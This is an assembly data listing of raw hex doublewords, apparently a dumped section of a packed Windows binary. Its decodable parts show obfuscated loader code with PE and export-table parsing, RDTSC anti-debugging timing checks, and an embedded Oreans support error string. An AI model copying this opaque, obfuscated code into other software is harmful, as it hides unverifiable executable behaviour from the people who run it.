0B202392Fh dd 5CF70D36h, 31F099ECh, 3000001h, 496187F0h, 0F022BB8Fh dd 51F9770Eh, 770EF0B8h, 0EB7E5104h, 2901960Dh, 770EF0ABh dd 1403DA8h, 0FC547B82h, 4D6583F0h, 1C2F978Ah, 0D0ACB03Dh dd 7E216753h, 5C11A2F0h, 84687FB0h, 807C6963h, 896C0103h dd 0F0FA93B7h, 9346770Eh, 45DE6A04h, 0BB770EF0h, 9FE7502Ch dd 5E01A419h, 0B83EBC5Dh, 0D89513E8h, 568074DBh, 357F986Dh dd 0F8000000h, 886583F0h, 0F0AB2901h, 4209770Eh, 0A64701E1h dd 24A12BD0h, 442ACB48h, 0B7F1C6BFh, 0F0B42DFDh, 5D08770Eh dd 0E543680Eh, 285A6Eh, 491C0000h, 2DA602A7h, 0FF9D83F0h dd 0B2536FFAh, 0E75CD8E1h, 0F0AB2901h, 0C5A8770Eh, 8DD8B035h dd 82014D26h, 0C6BF442Ah, 807472F1h, 7F986D56h, 32h, 6088F0F8h dd 0AB290183h, 9770EF0h, 8201E142h, 6A0492Ah, 0F063FC4Ch dd 0F8D9770Eh, 0D02DFBBCh, 308C1BDFh, 896C01B3h, 413E8864h dd 205Ah, 88F0D900h, 29018360h, 770EF0ABh, 1403DA8h, 0A0492A82h dd 886C01C3h, 6D606567h, 3F89678Ch, 275E0140h, 1DEA8412h dd 0B8263BB1h, 5DFFFFFEh, 4B6785F0h, 0F020B991h, 39C770Eh dd 182C8BC5h, 68C453A5h, 15BA1A2Eh, 21B4750Ch, 0EC11E489h dd 27C5CFF8h, 0ED12FA8Bh, 74ED3DFBh, 0C8710815h, 7C3AB61Dh dd 81533ACh, 8AC28971h, 815EB62h, 0ABFF2571h, 0D715E7B8h dd 1B17D894h, 0BE14C75h, 66652438h, 202393h, 6F5C0000h dd 770EF0F2h, 64A6B02h, 0D14ADE98h, 63770EF0h, 5B366992h dd 0CAA60DB6h, 0D1D7h, 85F06E00h, 0F0FB94B4h, 9A41770Eh dd 192730Fh, 0EE3F90F8h, 8D098FB1h, 8F9BD7A2h, 770E7316h dd 4701FF6Ah, 116E71E3h, 7517C875h, 3D34D4C6h, 6DF8D957h dd 0D9E2B055h, 0AF54268Bh, 32FF8A3Dh, 0BC07D16h, 0CECC371h dd 19E4E1EBh, 0F054F4B2h, 4E6F097Bh, 75191C51h, 0C0AF5F04h dd 0C35CECA6h, 3977092Ch, 0F598D652h, 7BCE8227h, 4F781099h dd 2008A644h, 7506F034h, 0AA3B77E2h, 0EA21E8C3h, 0DF56CF5Bh dd 3FAA710Bh, 0BDB70A9Ah, 6104B2D6h, 0FF926E93h, 77DC9718h dd 8AE0D068h, 74F6FE2h, 81100000h, 0F885687Ch, 66089DF3h dd 0D2BA0F5Dh, 452ABF2Dh, 9B5A28BCh, 0C3812ACFh, 77159A7Eh dd 0E5EB10E2h, 14787D10h, 64FD4D4Dh, 0D871088Bh, 432A4B28h dd 0B0472AA2h, 1FF05D0Fh, 8A6FF29Ah, 538F6761h, 3EE68F0Fh dd 38BD50EAh, 52859F54h, 3442996Dh, 0FD000000h, 94B485F0h dd 770EF0FBh, 730F9A41h, 120809D7h, 0A820B775h, 0BC90380h dd 0CF130171h, 8328C99Ch, 27C99CC9h, 219FCA82h, 6A2A0A12h dd 62C593h, 0F0760000h, 884B6785h, 0BDDE0E4Dh, 1E58D411h dd 1103A00Ah, 0E326F975h, 18B19927h, 64710BD3h dd 0F968A0F1h, 90BBEC3h, 0C419FD68h, 0E4824968h, 289C5933h dd 76F46093h, 31EA9F35h, 2EBE3A81h, 6F0BAC43h, 93F5FA9Eh dd 0E58C0525h, 65F0710Bh, 0FB4E229Eh, 0CEF99314h, 0BD8D25C3h dd 6F0EE12Bh, 6D167AE1h, 0EB961CEEh, 11E2B5CDh, 54329205h dd 89A1DF55h, 7511BAD3h, 5DEF8A51h, 0B1594725h, 0FB9C820Dh dd 0C68C0525h, 65F0B099h, 0D377339Eh, 0AE9CD35Dh, 0DA5C0CDBh dd 257D3C39h, 0C8A43A03h, 0D896147Fh, 9BF83870h, 97D386B4h dd 0CA9E1FF6h, 546F9067h, 20A617C5h, 0AED6008h, 55000006h dd 0DEA321C6h, 4DD0B43Dh, 0FF4206ABh, 6FF29617h, 8163618Ah dd 4A6F0056h, 0DEDFB306h, 0AC55278Ah, 3DC25538h, 0B89016AFh dd 71088A1Fh, 2A08EB9Dh, 472AA243h, 2B4408B1h, 4244260h dd 750CABC0h, 0DCA12BBEh, 79FEB13Ah, 0B8E0D543h, 5B73DD0h dd 19F80000h, 906DF094h, 0FE90656Bh, 6A0297F5h, 0DDB20745h dd 332B0D4h, 0AB39C257h, 0DF8D32C6h, 4D03A84Ah, 0FC9015F8h dd 0CC45E5A5h, 3071088Ah, 85F0E380h, 0FCBDBDADh, 6BF68BDBh dd 29A3FB4Fh, 0CE9D750Ch, 545D339Eh, 0D5C1161Dh, 0CE03EBE0h dd 565h, 64A6B0Eh, 8BD9E2B3h, 25AB5026h, 553BBC50h, 0C68A2FC0h dd 14E5B16Ch, 8414F9EFh, 0FA986D63h, 670E93F1h, 37730246h dd 8897A13h, 0B536C671h, 9F886C01h, 9369F4FDh, 1F5B5924h dd 4800A94Eh, 2FE9A71Dh, 0F03CD575h, 0D580770Eh, 0AC134F5Fh dd 0FE6D750Ch, 446D03EEh, 0D543582Dh, 0F46901E0h, 501h dd 0BA2ECFA2h, 2FBD46D7h, 590FB45Ah, 0C99F20F4h, 7A6E9364h dd 78194D88h, 0E8881D73h, 5E3C81C7h, 0CBA23755h, 9B1FA62Ah dd 88A168Fh, 19DA6A71h, 2AA2432Ah, 5D0FB047h, 723458D4h dd 0A25C1A9Bh, 0EF10D86h, 791C7377h, 79D1E974h, 770EF0E0h dd 5F33895Ch, 0CA8223CAh, 0D7DCB94Ch, 830F2E82h, 9E7CDC4h dd 0E29A321h, 287CA077h, 20C5A83Dh, 22473DA8h, 8926AA4Bh dd 62C6E0FEh, 750BE4AEh, 20C5FD68h, 5124A84Dh, 18AF39BEh dd 0DCE5B76Dh, 3472D98Ch, 6217514h, 38D9AC6Fh, 0B403A44Bh dd 0D2867BD4h, 60114BEFh, 53061F95h, 199E7617h, 11451A4Fh dd 672790C1h, 0D5B8F672h, 6005BD42h, 0F36CBC90h, 49770E18h dd 0D5B93782h, 0F1F69A6Bh, 90092197h, 0EC770E18h, 73169279h dd 36711B9Ch, 3515AD4Bh, 75111607h, 34CFE675h, 0A9E0D0D5h dd 40B0CC1h, 0C5540000h, 3CD9AC20h, 0AA4CD1B7h, 16FE4301h dd 896EF391h, 57866C60h, 7456E03h, 8BD9DEB2h, 39AF5426h dd 0A83CC154h, 20B99109h, 9C710888h, 6C010FECh, 6366668Bh dd 0E80DE085h, 9AC20DCEh, 0F4827F2Fh, 0C7A61078h, 5336B233h dd 1A553BBCh, 1139716Fh, 7511873Bh, 0D27A12F9h, 710B8735h dd 0C05637F3h, 23C4543Bh, 4B2D7145h, 9369E531h, 0FAFB9372h dd 6379F792h, 30h, 6ECB8659h, 0CD306658h, 8306E2ACh, 72CEB6ADh dd 6785F0F1h, 0FF4DFF4Bh, 14C37511h, 0DF2FAC74h, 47FD710Bh dd 40FF0513h, 0E9F8936Ah, 7B000000h, 4A2432Ah, 0E64A8F53h dd 413F99B4h, 0D0B56F29h, 0F66FB942h, 4A770E6Dh, 8227C89Fh dd 5AE4326h, 9617FE43h, 0C65207D8h, 266985D3h, 0B85F224Ah dd 34E75137h, 4CDCF3ACh, 770E22D3h, 0E91DA229h, 0BFE24802h dd 0DC719FC3h, 77D3FB71h, 8D770E0Ah, 3287C5EAh, 75325A5Bh dd 33D2EC0Ah, 54315B5Ch, 7C8A9ED8h, 0FA751120h, 94998A5h dd 45D0C297h, 4BDF9907h, 710B37D2h, 47D4BB2Eh, 0E79C6A2h dd 376EE743h, 7D2710Bh, 16ECFD72h, 6ED6DCAh, 52CBC068h dd 82496F09h, 4B7001E4h, 0DADFB005h, 0D5F0F69Bh, 6EE38BE6h dd 2B5h, 0F69A1BFEh, 7B699263h, 95FB0096h, 54B6C00h, 0B6DADFB0h dd 0C455013Ch, 34C4A93Fh, 0AA48DDB3h, 17FE4301h, 0E7A3F296h dd 887CA43h, 0E5863671h, 28BC452Ah, 28F5B245h, 23503483h dd 4B6785F0h, 9A1FFC91h, 0FF7C0E1Eh, 67F27511h, 0D5D2BA4Bh dd 0B82DBF44h, 0EF37572Dh, 710BDF72h, 81CBF082h, 325A5F3Ch dd 5A5F3057h, 5286BA32h, 3F63D1E0h, 6A412339h, 0D6DC93h dd 0E09A0000h, 4444690Dh, 710BD3CBh, 55CEAA31h, 944D5E01h dd 2CB4852Eh, 0BAD2D7B9h, 593C512Fh, 0A44B1A54h, 53C5A503h dd 0B0D8E1B2h, 650A5FD5h, 0A8E40C5Ch, 0DA770E65h, 4BDEB233h dd 0B46703A4h, 9A1FF276h, 8025C9FCh, 982FBF35h, 97B3CFEDh dd 7511F869h, 234C00D7h, 0AE749058h, 248383D5h, 432ED3A1h dd 0F4986D27h, 70CC99F3h, 9132258h, 7D35A06Fh, 7FD06E8h dd 0E4D3A449h, 57C99858h, 1BFD90D5h, 493F696h, 971CFD40h dd 0D52609DCh, 213CCCE6h, 1A5h, 0C68A2BCEh, 4B19A273h dd 0E5EB10E6h, 157B7C10h, 86CAEF80h, 0D4A5F12Ch, 44D4B92Fh dd 0BA582DA3h, 27CE5331h, 0F7B3C286h, 886BA53h, 0F5760671h dd 64896C01h, 0E68B6164h, 11E4E811h, 686B797Eh, 2AA2432Ah dd 590FB047h, 41660EDFh, 0D2D3BA07h, 0E4402FBAh, 0F4B2305Bh dd 12088654h, 9A13475h, 7B6D9664h, 52FA926Eh, 710BC8B5h dd 9F99CD73h, 936A2685h, 5D42h, 4701FD00h, 0EF06AE3h, 0A503D677h dd 39716F1Ah, 12100F11h, 0B36D2D75h, 0BCFFE97h, 0B5974271h dd 710BD01Ch, 7E6EF560h, 0BCF39D6h, 8029CB71h, 6E9365C8h dd 5579B77Eh, 3266DAE5h, 6A311E26h, 9ED28593h, 5B58F38Eh dd 96BA55A9h, 770C7AC1h, 0AD33D6D2h, 0C5A30E51h, 1FD7h dd 0F16F6000h, 28770EF0h, 0B8176977h, 95132748h, 29415F2Ah dd 12025F01h, 24F6DD75h, 275C309Fh, 4B6785F0h, 9718FC91h dd 0FB033119h, 0EA717511h, 0D2BD5AE2h, 0D54B710Bh, 308D9781h dd 1D4A936Ah, 0F5000000h, 0EF0F26Fh, 0F7ADD877h, 74329922h dd 121E12D4h, 0AF3DA875h, 757E1CF1h, 79FA7613h, 4B6785F0h dd 0CAC03FFh, 3EAE3D75h, 7F3BBC53h, 4E009EEh, 0F5FA9D60h dd 220F4B93h, 230180C8h, 2FD0A7FFh, 886EFFB9h, 9CCCF59Bh dd 7F6A62C9h, 0E409EC81h, 0A37519E4h, 4D220E87h, 7E2D7260h dd 0D03E3B75h, 0C06806EDh, 604DA547h, 1F5B26B5h, 4305AA4Eh dd 379E4ECCh, 0C0AFBC04h, 655F0464h, 11967931h, 0E607EE73h dd 36BE6h, 38A0000h, 0A6472A80h, 33B45B26h, 9D26F459h dd 6D9266CBh, 0F801967Bh, 476C0D90h, 0D3D4B805h, 0B942D4B9h dd 8B1422Fh, 2D680B40h, 89000008h, 89572434h, 4C781E7h dd 83000000h, 3C8704EFh, 1C895C24h, 0F366824h, 14890000h dd 0B8505124h, 0D7C7253h, 0C158C189h, 0E9C108E9h, 46F18107h dd 89060654h, 0EC8359CBh, 24248904h, 4240481h, 5A000000h dd 0FE268h, 241C8900h, 0FF08428Fh, 815A2434h, 4C4h, 241C8B00h dd 81E18951h, 4C1h, 4C18100h, 87000000h, 0E95C240Ch, 0FFFD103Dh dd 734CC29Fh, 0AEB8D8C2h, 306066Ch, 7BE0FFC5h, 0DA147E1Dh dd 0A761E310h, 7C6C8E20h, 0D37113B2h, 0D742E7FEh, 0AA398E05h dd 6E22FDF4h, 0CA4E3D99h, 0D21FA609h, 83306D85h, 726B8CECh dd 8737E190h, 0B00069C8h, 0A7436BDEh, 925CB0EEh, 0D73D4D5Ch dd 33720B78h, 0E9268B6Dh, 83h, 56525153h, 245C8B57h, 3B81661Ch dd 850F5A4Dh, 68h, 3C43B70Fh, 8166D803h, 0F45503Bh, 5785h dd 785B8B00h, 1C245C03h, 324738Bh, 561C2474h, 8B207B8Bh dd 7C031C73h, 74032024h, 83FC2024h, 8B41FFC9h, 8B1C245Ch dd 24540317h, 4C78320h, 0C084028Ah, 33A0874h dd 4243E875h, 33AF2EBh, 0D15FE075h, 4B70FE1h, 86048B0Fh dd 1C244403h, 595A5E5Fh, 8C25Bh, 0F1E9C033h, 8BFFFFFFh dd 0AE8CAh, 4C330000h, 122ECA72h, 0DE15BC69h, 5BA7D080h dd 4860Fh, 0B8660000h, 0C3810805h, 69B0h, 0EFCEE881h, 45BA2388h dd 0E900001Ah, 0Eh, 0AAFE82CEh, 510386DFh, 6526F33Ah, 33FFD34Fh dd 13E8h, 381C0B00h, 0CB8FDE35h, 9721BBA5h, 0C870B353h dd 5374B201h, 0F5F59FCh, 48Eh, 32B15100h, 32C78158h, 810FC048h dd 757D8EFh, 2D72B836h, 0F78104A6h, 6AAAF839h, 8E9h, 0B97F8600h dd 0CB2EB586h, 8166570Ah, 8FA074D1h, 0EB83F503h, 1EA8304h dd 0FFA0850Fh, 8A53FFFFh, 6E85EE7h, 7F000000h, 0C25946AAh dd 0C9816636h, 0B35ADFEAh, 79C281EBh, 0E8000061h, 8, 5579A4CEh dd 9A7ED92h, 53BF5EF5h, 815AF8E6h, 0F8CE32EFh, 18D0F5Ah dd 0FC000000h, 0DE9028Bh, 28000000h, 0FFF1C0ABh, 8B0F35CBh dd 9263FBCh, 909E881h, 0F0816EEEh, 32C46CD8h, 9FC98153h dd 59123F92h, 17D6F081h, 50F90230h, 1AEB8166h, 0E9028F54h dd 14h, 3941B6AFh, 0E4FEB4F7h, 73E80600h, 4C62301Eh, 871A7913h dd 6792EA81h, 0E681063Fh, 41280E9Dh, 678EC281h, 8F0F063Fh dd 0Eh, 9E9h, 6D2E3F00h, 0E152FE7Ah, 0F4FF343h, 2C85h dd 13E800h, 0AA0F0000h, 112F4736h, 2D6759A5h, 608AE520h dd 0DA15E043h, 0CE8B66B1h, 26E95Eh, 0E7330000h, 0AB373C84h dd 0B6E1EFB1h, 34F0BBD3h, 4DE96A99h, 51FFFFFFh, 0FAFE52BDh dd 27B65D50h, 3FE52F9Bh, 43542769h, 400E9h, 0 dd 6E413300h, 746E6920h, 616E7265h, 7865206Ch, 74706563h dd 206E6F69h, 7563636Fh, 20646572h, 64644128h, 73736572h dd 7830203Ah, 0A297825h, 656C500Dh, 2C657361h, 6E6F6320h dd 74636174h, 70757320h, 74726F70h, 65726F40h, 2E736E61h dd 2E6D6F63h, 61685420h, 79206B6Eh, 21756Fh, 0E4h dup(0) dd 5600h, 4500h, 0 dd 1191E900h, 0B5890000h, 6030039h, 175858Bh, 6A0603h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 669244C3h, 9A4ECE8Dh, 39FC8B65h, 0F042444h, 3285h, 0E1952900h dd 8306030Ch, 32831BDh, 840F0006h, 1Fh, 5E9h, 771DB200h dd 858D486Bh, 60338A7h, 236D9D89h, 0BD310603h, 6032DF5h dd 8BF5E0FFh, 32D1185h, 0FE906h, 500A0000h, 3866570Dh dd 86FD1ACFh, 0CE0EB331h, 24443989h, 23850F04h, 60000000h dd 61C2B70Fh, 73AD85C7h, 10606h, 31600000h, 311F195h, 6890F06h dd 8B000000h, 31F29B5h, 0E9606106h, 0Bh, 53200BF2h, 0A9B049EAh dd 0E90C6B1Bh, 6, 0A3EFE31Bh, 2DE9274Ah, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 1C3BC355h, 257AFA48h, 9589A382h, 6031F11h, 0 dd 1B8h, 0B4858700h, 0B060674h, 0FFF675C0h, 32F39B5h, 0A5858F06h dd 6A060673h, 0FFFF6A20h, 30F8595h, 9DBD8306h, 60305h dd 6A0874h, 1FB995FFh, 0BD830603h, 6032E85h, 680D7401h dd 80h, 95FFFF6Ah, 6030F85h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 2C35141h, 6810FF9h, 29000000h dd 301719Dh, 0B806h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 7A79B3C3h, 0C40D1722h dd 148B0Fh, 0F9600000h, 0BE8h, 0E3E68200h, 396AD008h, 0FB8D954Ah dd 548B615Fh, 6A2824h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 731603C3h, 6E90Ch, 1AD30000h, 0B1C71A39h dd 12AD8589h, 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 0D912BEC3h, 0C7A74BE0h, 6E9B4h dd 0AF2E0000h, 3AB6E6AFh, 25119D01h, 3CBE0603h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 0D063C355h, 47DEA3Fh, 0E9593D60h, 7, 0E341C0DBh dd 365698Dh, 6A242474h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 6756C357h, 89AD6680h dd 311C985h, 24440306h, 890FFC24h, 6, 23099D29h, 60500603h dd 0FE8h, 0B766AC00h, 581F22F2h, 0FF6DA5EDh, 5ADC017h dd 60585950h, 0D7B3D1BAh, 9A44BA05h, 61616544h, 6A240489h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 8B1DC352h, 6A7840h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 0BF724BC3h, 0C21AE6Ah dd 11E9F571h, 0C0000000h, 83C08D18h, 0AFB4B618h, 4BB1CF15h dd 25EDD846h, 73ADBD83h, 0F000606h, 0B285h, 0E950F900h dd 0Ah, 0A4430456h, 5CFA729Ch, 489DB61h, 0ADBD0924h, 8B060302h dd 6A2C2444h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 51DC353h, 0BE6C8BDFh, 0E9DCBEF5h dd 14h, 5BFF01BFh, 743141FEh, 427F89A8h, 0AF3E079Eh, 0D25539FFh dd 228A0F50h, 50000000h, 11E952h, 0F8440000h, 6D35F156h dd 81E1E08Fh, 127FD9DBh, 0F44D4D0h, 860F31h, 5A000000h dd 24048958h, 12E9h, 4D007100h, 0CBBB17A0h, 328B05C1h dd 37F00658h, 8D07207Fh, 63FCE85h, 5D958906h, 0FF060314h dd 9B509D0h, 306031Ah, 29282444h, 326B18Dh, 18408B06h dd 11119D29h, 6A400603h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 382CC352h, 7A110AA5h dd 1FC8F8Ah, 32AE9BDh, 0A9858906h, 6A060673h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 3579C353h, 23CB8DE5h, 10E9D0h, 90C90000h, 665E581Ah dd 809CF281h, 4C526BD1h, 6A586EE3h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 666CC351h dd 0D7A7DBF7h, 11E9h, 39F7A400h, 0F2DD9Dh, 0ABEAC504h dd 44AAB53Ah, 890F9DBEh, 6, 2C79B529h, 708B0603h, 0C683F878h dd 53006A1Ch, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 8531F5D3h, 6030689h, 50006A96h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 0D761808Ch dd 0DE938h, 8C770000h, 2B8DC5B9h, 0CB65DAE1h, 0F5535FBBh dd 24247C81h, 10000000h, 12B870Fh, 0FFC0000h, 685h, 0F1958900h dd 90060321h, 8880Fh, 8C0F0000h, 2, 50506160h, 52506052h dd 585A310Fh, 310F5250h, 0F61585Ah, 0DE931h, 0D1560000h dd 44AC80E1h, 0A1DAA5C8h, 5A3CFA52h, 6A9058h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0A6BCC4C3h dd 42630E6Eh, 0AE9B21Ah, 4A000000h, 10E83DA9h, 0D791AF70h dd 24448BA8h, 51006A28h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 9E974h, 77E20000h, 4F0DD866h, 607996EBh dd 0F88BCB80h, 800F9061h, 12h, 0DE9h, 0BC6AA500h, 0D0AAD96Ch dd 1D4DD75Ch, 0E950CC38h, 0Ch, 0B808BB86h, 8A6B29C3h, 0E0D1E736h dd 14E990h, 73BC0000h, 92917032h, 8EA21211h, 8ADDA5DDh dd 0BCA26848h, 858D1EE4h, 6063FCEh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 3BC35747h, 1DA18589h, 0D0FF0603h dd 0CE9h, 0B345A100h, 0D4404A42h, 7D16E5B4h, 6A9698h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 0EF7BC2C3h, 0E19D8B60h, 61060324h, 304D9D29h, 74030603h dd 6A2424h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h dd 57470000h, 8465ADC3h, 2E81BD31h, 0BD8D0603h, 60331C1h dd 2890F60h, 60000000h, 81B58961h, 61060326h, 59B501ADh dd 81060323h, 24247Ch, 0F100000h, 0D287h, 1D9D8900h, 9006030Fh dd 0E9DA8B60h, 8, 9B6C16F2h, 76204832h, 850F5061h, 17h dd 12E9h, 4A182700h, 9954358Eh, 572E8969h, 40906F91h, 90B2FEDAh dd 0C918501h, 448B0603h, 89602824h, 31AA985h, 1870F06h dd 0F5000000h, 60605061h, 0C28BFA8Bh, 8B665361h, 89615ED6h dd 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 9D01F6C3h, 6031C49h, 20C58D89h, 858D0603h dd 6063FCEh, 6AD0FFF9h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 535FC352h, 6331D63Bh dd 9D89868Fh, 60317A1h, 0CE9h, 6F154F00h, 0FA5B4B54h, 0CAE2798Bh dd 2D8D89BEh, 3060309h, 89242444h, 31A51B5h, 68E0F06h dd 89000000h, 32CB98Dh, 81F8AB06h, 10000FAh, 0C6820F00h dd 6A000007h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 0C1AAC351h, 5B3D9AF6h, 0F35B4A4h dd 68Ah, 0C1B52900h, 29060305h, 332498Dh, 51BD8D06h, 89060310h dd 3222585h, 6AAD06h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 8E902C3h, 0D9000000h, 0F3EBDAE7h dd 81B7F581h, 24247Ch, 0F100000h, 13087h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 1AC69C38h, 525050F8h, 6860Fh, 840F0000h, 0 dd 5660310Fh, 0F525059h, 61585A31h, 489585Ah, 55006A24h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 0E19C0929h, 0A880Fh, 89600000h, 30B5985h, 61F4B006h dd 2824448Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 69C35141h, 0DC668326h, 66C498DFh, 23E19589h, 0F500603h dd 884h, 28E0F00h, 60000000h, 24048961h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Bh, 66C35545h, 0BED0E10h dd 895ED315h, 324F19Dh, 0CE858D06h, 8906063Fh, 310F195h dd 6AD0FF06h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 8987C353h, 30B2585h, 0BD8B6006h dd 6032131h, 718D8B60h, 0E906030Bh, 13h, 0D4CA473h, 0CA8B7D9Bh dd 0BBA603CDh, 820E1F68h, 618DB3BEh, 24440361h, 55006A24h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 7FB40654h, 2F0C3787h, 9E94Ch, 26A70000h, 55DBFD61h dd 50F0450Ch, 0EE9h, 115C8A00h, 0B1CD60B4h, 4C76C9F9h dd 89789547h, 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 0E9ABEEC3h, 0Bh, 0EB4F0DD8h, 0A6C77996h dd 8DDF9BF7h, 32259BDh, 0E19D8906h, 0AD06031Fh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 96C35242h, 495B5068h dd 247C81FCh, 28h, 1C870F10h, 89000001h, 31D09BDh, 0E9609006h dd 7, 0D0861AFEh, 666F8938h, 61FAACBFh, 60525050h, 800Fh dd 0DEB50000h, 0F310F61h, 684h, 8B0F00h, 5A000000h, 6A9058h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 234ECC3h, 0C1407D8Eh, 8B48442Ch, 6A2C2444h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 43FCC355h, 533EE39Ch, 6870FE8h, 89000000h, 32E2D95h dd 8D8B6006h, 6031281h, 9061C28Bh, 0E8B0Fh, 9E90000h, 46000000h dd 3D147A63h, 0FCD705E5h, 50525050h, 8C0F52h, 0F000000h dd 0F525031h, 5A585A31h, 0E9310F58h, 6, 0BA8B0DBCh, 585AB3C3h dd 31B50990h, 8D06030Ch, 63FCE85h, 0B5958906h, 0FF06032Eh dd 50006AD0h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 1FBB8B4Ch, 60B26A7Bh, 0B05EC880h, 8E0F6188h dd 7, 18A0Fh, 3F50000h, 6A282444h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 8DE9C351h dd 14389587h, 792F3FFBh, 0C8A0Fh, 8B0F0000h, 6, 65DB589h dd 0FAB0603h, 685h, 3D858900h, 5E060310h, 73A98DFFh, 0BD830606h dd 60673A9h, 330A7500h, 4DB58DC0h, 0FF060682h, 81AD56E6h dd 28247Ch, 77100000h, 448B500Eh, 8D502C24h, 63FCE85h dd 3D0FF06h, 97282444h, 858ADF8Bh, 60673A5h, 474C084h dd 4C75073Ah, 0AEC03257h, 2B5EFD75h, 33FC52FBh, 0D18B49C9h dd 0DB33C033h, 8AC132ACh, 8AEA8ACDh, 6608B6D6h, 0D166EBD1h dd 660973D8h, 66504135h, 5449F381h, 0EB75CEFEh, 0D333C833h dd 0F7D5754Fh, 8BD1F7D2h, 10C0C1C2h, 5AC18B66h, 0F74D03Bh dd 4C6835Eh, 12AD85FFh, 5DE90603h, 5EFFFFFFh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 25C35747h, 672D0C3Dh dd 210A55A1h, 0FB8B60D0h, 8B61F98Bh, 312AD85h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 8D89CF1Bh, 60331A1h, 2F018589h, 0E0D10603h, 13E9h, 6E854B00h dd 5BA3DB3h, 0F37606F6h, 0D1E29622h, 3FEDBA55h, 22598503h dd 6A0603h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 22FA2C3h, 0B1D28087h, 0CD950990h, 0BE060322h dd 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0D5C35242h dd 851D88ADh, 0F101100h, 687h, 0D9958900h, 9606031Ch, 28258D29h dd 0AD660603h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 0DBC35040h, 0E21A1279h, 0C0955FADh, 0BD89F93Bh dd 60321F1h, 31259589h, 0E0C10603h, 55006A02h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 4D9E8818h dd 8C22C15Eh, 6830Fh, 95010000h, 6032431h, 31C18503h, 0EE90603h dd 0EA000000h, 1C12FF7h, 0CDBBC169h, 99FE63EAh, 0F6096E3h dd 1686h, 11E900h, 30CB0000h, 1890D789h, 5476413Dh, 0A8B45980h dd 0E90257C9h, 11h, 22544826h, 0F3BCAA1h, 412E8BB1h, 0E04623C1h dd 89AD613Eh, 329719Dh, 247C8106h, 24h, 0E0870F10h, 0F8000000h dd 78B0Fh, 60600000h, 0F18B6661h, 11E95061h, 83000000h dd 0D734FF54h, 0AB2C715h, 11446338h, 711DDC6Ch, 6A240489h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 5147C351h, 89AAC116h, 30475B5h, 24448B06h dd 5E928h, 0FE870000h, 50A502D5h, 12840F60h, 0E8000000h dd 0Ch, 24960C70h, 62FD1E16h, 8A5C7557h, 489615Fh, 0EE924h dd 0F4360000h, 0DBEB22C6h, 1E22EB0Bh, 0BE3DCF51h, 3FCE858Dh dd 840F0606h, 0Ch, 6840Fh, 860F0000h, 0 dd 3799D89h, 0D0FF0603h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 51C35646h, 0F2EB7B4Eh, 0E96A45CEh, 5 dd 0E5468E9Dh, 0C1BD2950h, 306032Bh, 9242444h, 31E7185h dd 24448906h, 57006A1Ch, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1704h, 0C3574700h, 6A9B441Dh, 2F3985C6h, 0C7000603h dd 674B485h, 6, 0AD85C700h, 60673h, 60000000h, 79AE8CBAh dd 61ADB065h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 